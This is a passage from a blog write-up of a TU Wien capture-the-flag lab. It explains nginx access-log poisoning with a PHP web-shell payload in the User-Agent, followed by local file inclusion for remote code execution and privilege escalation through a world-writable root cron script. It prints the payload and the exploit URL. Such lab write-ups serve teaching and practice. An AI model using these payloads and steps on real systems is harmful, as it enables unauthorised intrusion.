</span></span></span><span style=display:flex><span><span style=color:#75715e>--></span>
|
||
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn’t say “don’t use SSL” — but the intended trick is to use the <strong>non-ssl</strong> access log.</p><h3 id=intended-technique>Intended technique<a hidden class=anchor aria-hidden=true href=#intended-technique>#</a></h3><ol><li><p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||
</span></span></code></pre></div></li><li><p>Put PHP in the <code>User-Agent</code> (or another logged field):</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span><?php passthru($_GET['cmd']); ?>
|
||
</span></span></code></pre></div><p>Short tags like <code><?=`id`?></code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p></li><li><p><strong>Include that log</strong> through the same LFI bug:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-text data-lang=text><span style=display:flex><span>https://web.g00.tuw.measurement.network/
|
||
</span></span><span style=display:flex><span> ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||
</span></span><span style=display:flex><span> &cmd=id
|
||
</span></span></code></pre></div></li></ol><p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That’s RCE. No pwreset required.</p><h3 id=how-i-griefed-myself>How I griefed myself<a hidden class=anchor aria-hidden=true href=#how-i-griefed-myself>#</a></h3><table><thead><tr><th>What I did</th><th>Why it hurt</th></tr></thead><tbody><tr><td>Defaulted to <code>https://</code> everywhere</td><td>Poison landed in <code>ssl-web...access.log</code> — <strong>670 KB+</strong> and growing</td></tr><tr><td>Included the ssl log via LFI</td><td>Output truncates around ~2 KB; poison sits at the tail</td></tr><tr><td>Fired dozens of test payloads</td><td>Left broken <code><?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td></tr><tr><td>Didn’t read <code>index.php</code> source early</td><td>Missed the debug comment until I’d already polluted both logs</td></tr></tbody></table><p>Tobias’s take: that’s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p><h3 id=if-youre-solving-it-now>If you’re solving it now<a hidden class=anchor aria-hidden=true href=#if-youre-solving-it-now>#</a></h3><ul><li>Read <code>index.php</code> source first.</li><li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li><li>Include the <strong>non-ssl</strong> access log path from the comment.</li><li>Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li></ul><p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p><hr><h2 id=12-tldr>12) TL;DR<a hidden class=anchor aria-hidden=true href=#12-tldr>#</a></h2><ul><li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li><li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li><li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li><li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li><li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li><li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li><li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li></ul><p>If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.</p><p>Happy hacking. 🔓</p><hr><p><em>Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p><hr><div class=signature-block style=margin-top:1rem><p><strong>Downloads:</strong>
|
||
<a href=/sources/posts/g00_tuw_measurement_ctf.md>Markdown</a> ·
|
||
<a href=/sources/posts/g00_tuw_measurement_ctf.md.asc>Signature (.asc)</a></p><details class=signature><summary>View OpenPGP signature</summary><pre style=font-size:.85em;overflow-x:auto;padding:.75rem>-----BEGIN PGP SIGNATURE-----
|
||
|
||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
|
||
jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
|
||
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
|
||
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
|
||
35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
|
||
FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
|
||
oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
|
||
zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
|
||
//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
|
||
MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
|
||
YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
|
||
zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
|
||
=BDGe
|
||
-----END PGP SIGNATURE-----
|
||
</pre></details><p><em>Verify locally:</em></p><pre style=font-size:.85em;overflow-x:auto;padding:.75rem>curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
|
||
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
|
||
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
|
||
</pre></div></div><footer class=post-footer><ul class=post-tags><li><a href=https://blog.alipour.eu/tags/ctf/>Ctf</a></li><li><a href=https://blog.alipour.eu/tags/tuwien/>Tuwien</a></li><li><a href=https://blog.alipour.eu/tags/lfi/>Lfi</a></li><li><a href=https://blog.alipour.eu/tags/web/>Web</a></li><li><a href=https://blog.alipour.eu/tags/linux/>Linux</a></li><li><a href=https://blog.alipour.eu/tags/nginx/>Nginx</a></li><li><a href=https://blog.alipour.eu/tags/php/>Php</a></li><li><a href=https://blog.alipour.eu/tags/privesc/>Privesc</a></li></ul><nav class=paginav><a class=prev href=https://blog.alipour.eu/phd_journey/june_2026/><span class=title>« Prev</span><br><span>June 2026</span>
|
||
</a><a class=next href=https://blog.alipour.eu/phd_journey/april_2026/><span class=title>Next »</span><br><span>April '26</span></a></nav></footer><div class=comments-switch style="display:flex;gap:.5rem;margin:.5rem 0 1rem"><button id=btn-isso type=button aria-pressed=true>Anonymous (Isso)</button>
|
||
<button id=btn-giscus type=button aria-pressed=false>GitHub (Giscus)</button>
|
||
<a href=https://github.com/AlipourIm/blog-comments/discussions/categories/comments target=_blank rel=noopener>Open on GitHub ↗</a></div><div id=panel-giscus style=display:none><section id=giscus-thread></section></div><div id=panel-isso><section id=isso-thread data-isso-id=/posts/g00_tuw_measurement_ctf/ data-title="A TU Wien CTF where Sysops Klaus left the keys in the cron job"><noscript>Javascript needs to be activated to view comments.</noscript></section><script src=/isso/js/embed.min.js data-isso=/isso/ data-isso-css=false data-isso-lang=en data-isso-max-comments-nested=5 data-isso-sorting=newest async></script><small class=isso-powered style="display:block;margin:.5rem 0;color:var(--secondary,#888)">Comments powered by <a href=https://isso-comments.de target=_blank rel=noopener>Isso</a></small></div><script>(function(){var i=document.getElementById("panel-isso"),a=document.getElementById("panel-giscus"),e=document.getElementById("btn-isso"),t=document.getElementById("btn-giscus"),s=!1;function r(){if(n=localStorage.getItem("pref-theme"),n==="dark")return!0;if(n==="light")return!1;var n,e=document.documentElement,t=document.body;return!!(e.classList&&e.classList.contains("dark")||t.classList&&t.classList.contains("dark")||e.getAttribute("data-theme")==="dark"||t.getAttribute("data-theme")==="dark"||e.classList&&e.classList.contains("theme-dark")||t.classList&&t.classList.contains("theme-dark"))||window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}function o(){return r()?"dark_dimmed":"noborder_light"}function c(){if(s)return;var t,n,e=document.createElement("script");e.src="https://giscus.app/client.js",e.async=!0,e.crossOrigin="anonymous",e.setAttribute("data-repo","AlipourIm/blog-comments"),e.setAttribute("data-repo-id","R_kgDOQGARyA"),e.setAttribute("data-category","Comments"),e.setAttribute("data-category-id","DIC_kwDOQGARyM4Cw3x-"),e.setAttribute("data-mapping","pathname"),e.setAttribute("data-strict","0"),e.setAttribute("data-reactions-enabled","1"),e.setAttribute("data-emit-metadata","0"),e.setAttribute("data-input-position","bottom"),e.setAttribute("data-lang","en"),e.setAttribute("data-theme",o()),document.getElementById("giscus-thread").appendChild(e);function i(){var e=document.querySelector("iframe.giscus-frame");e&&e.contentWindow&&e.contentWindow.postMessage({giscus:{setConfig:{theme:o()}}},"https://giscus.app")}t=document.getElementById("theme-toggle"),t&&t.addEventListener("click",function(){setTimeout(i,0)}),n=new MutationObserver(function(){i()}),n.observe(document.documentElement,{attributes:!0,attributeFilter:["class","data-theme"]}),n.observe(document.body,{attributes:!0,attributeFilter:["class","data-theme"]}),s=!0}function n(n){var s=n==="isso";i.style.display=s?"block":"none",a.style.display=s?"none":"block",e&&e.setAttribute("aria-pressed",s?"true":"false"),t&&t.setAttribute("aria-pressed",s?"false":"true"),s||c()}e&&e.addEventListener("click",function(e){e.preventDefault(),n("isso")}),t&&t.addEventListener("click",function(e){e.preventDefault(),n("giscus")}),n("isso")})()</script></article></main><footer class=footer><span>© 2026 <a href=https://blog.alipour.eu/>AlipourIm journeys</a></span> ·
|
||
<span>Powered by
|
||
<a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
|
||
<a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><div class=site-meta-row style=display:flex;align-items:center;gap:.75rem;flex-wrap:wrap><a href=/index.xml rel=alternate type=application/rss+xml title=RSS class=rss-link style=display:inline-flex;align-items:center;gap:.35rem><svg viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 11a9 9 0 019 9"/><path d="M4 4a16 16 0 0116 16"/><circle cx="5" cy="19" r="1"/></svg>
|
||
<span>RSS</span>
|
||
</a><span aria-hidden=true>·</span>
|
||
<span>Visitors this week: <span id=gc_site_visitors_week>—</span></span></div><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html> |